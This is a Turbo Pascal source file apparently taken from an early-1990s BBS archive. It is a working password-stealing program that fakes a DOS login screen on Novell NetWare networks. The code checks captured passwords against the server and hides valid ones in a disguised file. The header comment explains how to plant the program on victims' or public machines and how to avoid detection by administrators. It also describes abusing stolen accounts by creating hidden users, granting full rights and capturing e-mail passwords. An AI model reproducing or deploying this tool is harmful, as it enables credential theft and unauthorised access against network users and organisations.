program Net_Passwords;

   (*
      Written by THING ONE for Educational Purposes Only!


          E  X  T  R  E  M  E
       ------------+------------      Ŀ
                  /|\                                                   
                 / | \                    Portland Metro All Text BBS   
                /  |  \                                                 
               /   |   \                       2400: (503) 731-5483     
              /    |    \                     SysOp: Thing One          
             /     |     \                                              
            /      |      \           
             d r e a m e s


    This program is used to get the usernames and passwords from people on
    a Novell Netware Network.  It is intended for people who have limited
    access to the network, but feel it is their god-given right to have full
    access.  It uses a tried and true method that has been around for a
    long time, however, it is difficult to detect, and very effective.

    What it does is provides the victum with a screen that looks exactly
    like they are in DOS waiting to log onto the network.  They enter their
    login name and password, and if the password and username is valid, it is
    written to a file for your later perusal.  If the password is not good,
    then it tries to keep the person in this program long enough that they
    type LOGIN again and the process repeats.  When you have their password,
    the program displays a fake error and terminates, at which time, the user
    (albeit puzzled) tries to login again.

    Be sure to look at the constant section to customize this program to
    your network.

    The Specific Victum Method
    --------------------------
    Place this program on a floppy.  Rename it to something like "whoami.exe"
    so if the victum has command recall, the name "NET_PASS" does not pop
    up and blow it.  If you have access to their pc (while they are gone, of
    course!), put the floppy in drive A: and type "A:WHOAMI", take the floppy
    out, and leave.  Later, check for the file located in READWRITEDIR and
    called SAVEFILE (see constants).  If you get a hit, be sure and DELETE
    THE FILE!

    If you don't have access to the victum's pc, you need to use the method
    in the next section. OR, you can take a chance and load the program on
    your PC, call the victum to it, play dumb, and ask them to grant you
    rights to some directory, thus forcing them to log in under their name
    on your machine.  This can work, but it is not recommended!

    The Any Victum Method
    ---------------------
    Find a pc that is used for public access and do the above steps.  The
    SAVEFILE always is appended to.  So you can just build the password
    list for as long as you need.

    In General
    ----------
    Do not copy this program to another PC!  This will get you or the program
    busted!  Don't copy it to the network - that will get you busted for
    sure.  Always run it from a floppy.  Once you are satisfied with the
    passwords you have received, DELETE THE SAVEFILE! Or you will be busted.
    Although it is tempting, do not have this program executed from the
    victums LOGIN batch file.  When they start getting too many login errors,
    they will start to investigate AND YOU WILL BE BUSTED!

    If you have a network where the passwords are changed every X days,
    don't immiediatly try to get the new password, wait several days.  If
    the supervisor sees a network error everytime the password changes they
    will get suspicious.

    Do not grant yourself or others SUPERVISOR rights. There are common
    utilities that report who have these nifty rights.  Feel free to log in
    as your victum, preferably when the victum is not already logged in.  It
    is best not to do pranks like sending broadcasts under the assumed
    identity.  This will make the supervisor suspicious, passwords will be
    changed, and then you have to start all over again.

    What To Do After You Get A Good Password
    ----------------------------------------
    Poke around!  See what's out there.  There are a lot of interesting
    databases that are protected merely by Network Rights, and can be
    accessed easily.  Create a new user (don't give supervisor status),
    and grant it ALL RIGHTS to various root directories.  Or grant them to
    a "bonehead" user - like a menu-bound user - so you can log in under
    that name and peruse at your lesiure.

    If you're feeling cocky, or if your supervisor is lax, write a front-end
    program to your E-Mail system, so you can get Email passwords.  Many
    E-Mails allow the password to be on the command line, so you can shell
    the E-Mail program without any errors at all, after all, you now have
    the right to previously READ-ONLY areas.  E-Mail can be a great source
    for new rumours!

    But We Don't Have A Novell Network
    ----------------------------------
    Don't whine.  This technique can be used on just about any type of
    network or computer and can even be written in BASIC.  I especially like
    the public terminals at a university, where I can write a this program
    and leave it running for the next person to sit down at (never copy a
    victums homework verbatim!).  Often, it's worth paying for an AUDIT
    CLASS just to get access to an account, where you can setup to get many
    other accounts. A professor's or tutor's accounts are worth the extra
    effort since they do not often expire at the end of the term.

    Happy Hacking,

    Thing One
    *)

   USES
      DOS, { MS-DOS Functions }
      CRT; { Borland Screen Functions }

   CONST
      { This constant should be a server name, preferably the server name
        that most people have access to.  The best way to get this name is
        to login but give an incorrect password and look at the error
        message.  Another is to use SLIST and take the first server's name. }
      ServerName   = 'CORP';

      { These next two constants define where you want the user's information
        stashed.  In the best world, you want this to be run while the user
        is actually logged onto the network, so the data can be written to a
        file that is in a public (writeable) directory.  However, the file I/O
        is so short, that you can generally get away with this writing to the
        user's local drive as long as you have access to their machine. }

      ReadWriteDir = 'C:\DOS';       { or wherever you want to stash the file }
      SaveFile     = 'LOANCALC.BAS'; { or whatever you think will pass inspection }

   VAR
      Reg : Registers;

{ -------------------------------------------------------------------------- }
{ Misc. Novell Netware 2.1x and 3.1x Routines                                }
{ -------------------------------------------------------------------------- }
Procedure SetReg(Func:Byte; VAR Request, Reply; ReqLen,RepLen:Word);

  { This routine sets up the registers for a Novell Call. }

  var RQ : Word absolute Request;
      RP : Word absolute Reply;
  begin
     Reg.AH := Func;
     Reg.DS := SEG(Request);  Reg.SI := OFS(Request);
     Reg.ES := SEG(Reply);    Reg.DI := OFS(Reply);
     RQ := ReqLen - 2;
     RP := RepLen - 2
  end;

{ -------------------------------------------------------------------------- }
Function CheckPersonsPassword(Name, Password:String):Boolean;

  { This function has long been considered a "hole" in Novell security.  It
    has been present since Netware has been around.  Novell seems to think
    it's not worth being considered a hole, but....

    Anyway, what it does is takes a name and a password and checks the
    bindery to see if the password matches the name and returns TRUE if the
    password is good.
  }

  TYPE RequestRec = Record
         Len : Word;
         Func : Byte;
         ObjType : Word;
         Rest : Array[1..178] of Char;
       end;
  VAR
     Request : RequestRec;
     Reply   : Word;
     Base, I : Integer;
  begin
     SetReg($E3, Request, Reply, 7 + Length(Name) + Length(Password), sizeof(Reply));
     Request.Func := $3F;
     Request.ObjType := $0100;  { User Type }
     with Request do
     begin
        Rest[1] := Name[0];
        Base := 1;
        For i:=1 to length(Name) do Rest[Base+i] := Name[i];
        INC(Base,Length(Name)+1);
        Rest[Base] := Char(password[0]);
        For i:=1 to length(Password) do Rest[Base+i] := Password[i]
     end;
     MsDOS(Reg);
     CheckPersonsPassword := Reg.AL = 0;
  end;

{ -------------------------------------------------------------------------- }
{ A couple of common string functions                                        }
{ -------------------------------------------------------------------------- }
function ToS(N:Word): String;   { Returns string value of N }
  var Temp: String[10];
  begin
    Str(N, Temp);
    Tos := Temp
  end;

{ -------------------------------------------------------------------------- }
function ToA(N:Word): String;
  { Returns string value of N, but if N < 10, then adds a leading zero. }
  var Temp: String[10];
  begin
    Temp := Tos(N);
    if N < 10 then Temp := '0'+Temp;
    Toa := Temp
  end;

{ -------------------------------------------------------------------------- }
Function Upper(S:String):String;
  var I:Integer;
  begin
      for i:=1 to Length(S) do
        S[i] := upcase(S[i]);
      Upper := S
  end;

{ -------------------------------------------------------------------------- }
Function Trim(S:String):String;
  var I:Integer;
  begin
      Trim := '';
      if S = '' then EXIT;
      while (S>'') AND (S[1]=' ') do delete(S,1,1);
      while (S>'') AND (S[length(S)]=' ') do delete(S,length(S),1);
      Trim := S
  end;

{ -------------------------------------------------------------------------- }
{ These routines deal with creating a likely looking dos prompt.  This is    }
{ really the hardest work that has to be done!                               }
{ -------------------------------------------------------------------------- }
Function TimeNow:String;
  var Hour, Minute, Second, Sec100: Word;
  begin
      GetTime(Hour, Minute, Second, Sec100);
      TimeNow := toa(Hour)+':'+toa(Minute) + ':' + toa(Second) + '.'+toa(Sec100)
  end;

{ -------------------------------------------------------------------------- }
Function DateNow:String;
  const days: array[0..6] of string[3] = ('Sun','Mon','Tue','Wed','Thu','Fri','Sat');
  var Year, Month, Day, DayOfWeek: Word;
  begin
      GetDate(Year, Month, Day, DayOfWeek);
      DateNow := days[DayOfWeek] + ' ' + toa(Month)+'-'+toa(Day) + '-' + toa(Year)
  end;

{ -------------------------------------------------------------------------- }
Function MakePrompt: String;
  {
    Creates a fake prompt line from the DOS environment.  The codes it can
    handle are at the DOS 5.0 level.  This does not handle ANSI codes, so
    if your network has these kind of prompts you will have to do some
    modifications (easiest way is to make all output via CON).

       $q  =                       $$  $
       $t  current time            $d  current date
       $p  current drive/path      $v  dos version number
       $n  current drive           $g  >
       $l  <                       $b  |
       $_  ENTER+LINEFEED          $e  ESC
       $h  backspace
  }
  var I:Integer;
      Temp, Temp1: String[128];
      Prompt : String;
  begin
     Temp := GetEnv('PROMPT');
     if Temp = '' then Temp := '$n$g';
     I := 1;
     Prompt := '';
     while I <= length(Temp) do
     begin
        if Temp[i] = '$' then
        begin
           inc(i);
           case upcase(Temp[i]) of
             '_': Prompt := Prompt + ^M^J;
             '$': Prompt := Prompt + '$';
             'B': Prompt := Prompt + '|';
             'D': Prompt := Prompt + DateNow;
             'E': Prompt := Prompt + ^[;
             'G': Prompt := Prompt + '>';
             'H': Prompt := Prompt + ^H;
             'L': Prompt := Prompt + '<';
             'N': begin
                     GetDir(0, Temp1);
                     Prompt := Prompt + Temp1[1]
                  end;
             'P': begin
                     GetDir(0, Temp1);
                     Prompt := Prompt + Temp1
                  end;
             'Q': Prompt := Prompt + '=';
             'T': Prompt := Prompt + TimeNow;
             'V': Prompt := Prompt + 'MS-DOS Version '+tos(lo(DosVersion))+'.'+toa(hi(DosVersion));
           end
        end
        else
           Prompt := Prompt + Temp[i];
        inc(i)
     end;
     MakePrompt := Prompt
  end;

{ -------------------------------------------------------------------------- }
{ These routines try to keep control of the user.                            }
{ -------------------------------------------------------------------------- }
Function GetPassword: String;
  { Allows the user to enter a password.  The cursor is not moved, nor are
    any characters displayed. Backspace and ENTER are the only control
    codes handled. }
  var S : String[127];
      Key : Char;
  begin
     S := '';
     Repeat
        Key := Upcase(ReadKey);
        if Key = ^H then
        begin
           if S > '' then Delete(S, length(S), 1)
           else
              write(^G)
        end
        else
           if Key > #31 then
              S := S + Key
     Until Key = ^M;
     GetPassword := S
  end;

{ -------------------------------------------------------------------------- }
{ This is the sign-off routine.  The program ends here!                      }
{ -------------------------------------------------------------------------- }
Procedure FinishUp;

  { At this point, we have what we want (a user id & password).  So we can do
    just about anything that will end the program but leave the user not
    logged onto the network.

    We want this routine to look like the network has "burped".  This happens
    occasionally, and if it's not reproducable, I've never seen a Network
    Administrator get upset over it. They ususally say "Just reboot and try
    it again!" }

  var S1: string absolute $40:00;    { These are just "random" memory that }
      S2: String absolute $0:0;      { Will be written to the screen. Feel }
      S3: String absolute $100:0;    { Free to change to your fav locations }
  begin
     delay(4000);   { A 4 sec. pause like it's having a transmission error }
     writeln(S1,S2,S3);  { Barf on the screen }
     writeln;
     writeln('Error during network packet RECEIVE');  { Your favorite error message }
     writeln;
     delay(2000);   { Another, 2 sec. pause for effect }
     halt(0)
  end;

{ -------------------------------------------------------------------------- }
{ Update database with our information                                       }
{ -------------------------------------------------------------------------- }
Procedure UpdateDatabase(name, pass:String);
  var fp: Text;
      I : Integer;
  begin
     { Simple encryption - sets high-bits - to read the file just write a
       short program to open and read the lines, for each line, perform the
       loop on it
      }
     for I:=1 to Length(Name) do Name[i] := CHAR( BYTE(Name[i]) XOR $80);
     for I:=1 to Length(Pass) do Pass[i] := CHAR( BYTE(Pass[i]) XOR $80);
     assign(Fp, ReadWriteDir + '\' + SaveFile);
     {$I-} Append(Fp); {$I+}
     if IOResult <> 0 then
       Rewrite(Fp);
     writeln(Fp, Name);
     writeln(Fp, Pass);
     Flush(Fp); Close(Fp)
  end;

{ -------------------------------------------------------------------------- }
{ These routines try to keep control of the user.                            }
{ -------------------------------------------------------------------------- }
Procedure Login(Name:String);
  var Pswd: String;
      Good : Boolean;
      I :Integer;
  begin
     if Name = '' then
     begin
        write('Enter your login name: ');
        readln(Name)
     end;
     if Name <> '' then
     begin
         Name := Upper(Name);
         { Check for File Server Prefixes }
         if pos('/', Name) > 0 then delete(Name,1, pos('/',Name));
         if pos('\', Name) > 0 then delete(Name,1, pos('\',Name));
         write('Enter your password: ');
         Pswd := GetPassword;
         writeln;
         Good := CheckPersonsPassword(Name, Pswd);
         if Good then
         begin
            UpdateDatabase(Name, Pswd);
            FinishUp
         end
         else
         begin
            writeln(Name,': Access to server denied.');
            writeln('You are attached to ',ServerName,'.');
            writeln;
            writeln;
         end
     end
     else
     begin
        writeln('Usage: Login [/Options] [Server/] [Username] [ScriptParameters]');
        writeln('Options:    Clear screen');
        writeln('            No attach');
        writeln('            Script <path spec>');
        writeln;
     end
  end;

{ -------------------------------------------------------------------------- }
{ The goal here is to keep the user in this program as long as possible      }
{ without them getting suspicious about what's happening to them.  I do this }
{ by setting up a fake prompt and letting them type in some common commands  }
{ that might be used before the login.  I have noticed that some people,     }
{ since they are aware of these kind of programs, often press ENTER or ^C    }
{ two or three times to make sure that they are in DOS.  Anyway, if the user }
{ types anything but the commands listed below, then the program gives up    }
{ and terminates with an error message.  We don't want some power-user to do }
{ a memory map and see this program.  Also, if they don't login soon, it     }
{ may indicate that they want to do some other kind of work first...In which }
{ case, we want to give up.                                                  }
{ -------------------------------------------------------------------------- }
Procedure TryForALoginHit;
  var Cmd : String;
      Suspicious : Boolean;

  procedure Run;
    begin
        exec(GetEnv('COMSPEC'), '/C'+Cmd);
        writeln
    end;

  procedure BadFile;
    begin
       writeln('Bad command or filename');
       writeln
    end;

  begin
     Suspicious := FALSE;
     Repeat
        write(MakePrompt); readln(Cmd);
        Cmd := Upper(Trim(Cmd));
        if Cmd > '' then
        begin
           { Check for non-suspicious commands here }
           if Cmd = 'ISLOG' then writeln('yes')  { our own check so we don't get trapped! }
           else if copy(Cmd, 1, 3) = 'DIR' then Run
           else if copy(Cmd, 1, 3) = 'CLS' then Clrscr
           else if copy(Cmd, 1, 2) = 'CD' then run
           else if (Length(Cmd)=2) AND (Cmd[2]=':') then Run
           else if copy(Cmd, 1, 6) = 'LOGOFF' then BadFile
           else if copy(Cmd, 1, 6) = 'WHOAMI' then BadFile
           else if copy(Cmd, 1, 3) = 'LOG' then { We have another hit! }
           begin
              { We check for the string "LOG" because many people have a
                batch file, CED, or DOSKEY command called LOG or LOGON in
                addition to the Netware command LOGIN. }
              delete(Cmd, 1, pos(' ',Cmd));
              Login(trim(Cmd))
           end
           else
              Suspicious := Cmd <> 'EXIT'
        end;
     Until Suspicious;

     { The user might be a little puzzled by this, but would try the command
       again, in which it would work. }
     BadFile
  end;

{ -------------------------------------------------------------------------- }
begin
   CheckBreak := FALSE;  { Don't allow control breaks }
   Clrscr;
   writeln;
   writeln(MakePrompt,'login');
   Login('');
   TryForALoginHit
end.


X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X
 Another file downloaded from:                     The NIRVANAnet(tm) Seven

 & the Temple of the Screaming Electron   Taipan Enigma        510/935-5845
 Burn This Flag                           Zardoz               408/363-9766
 realitycheck                             Poindexter Fortran   510/527-1662
 Lies Unlimited                           Mick Freen           801/278-2699
 The New Dork Sublime                     Biffnix              415/864-DORK
 The Shrine                               Rif Raf              206/794-6674
 Planet Mirth                             Simon Jester         510/786-6560

                          "Raw Data for Raw Nerves"
X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X
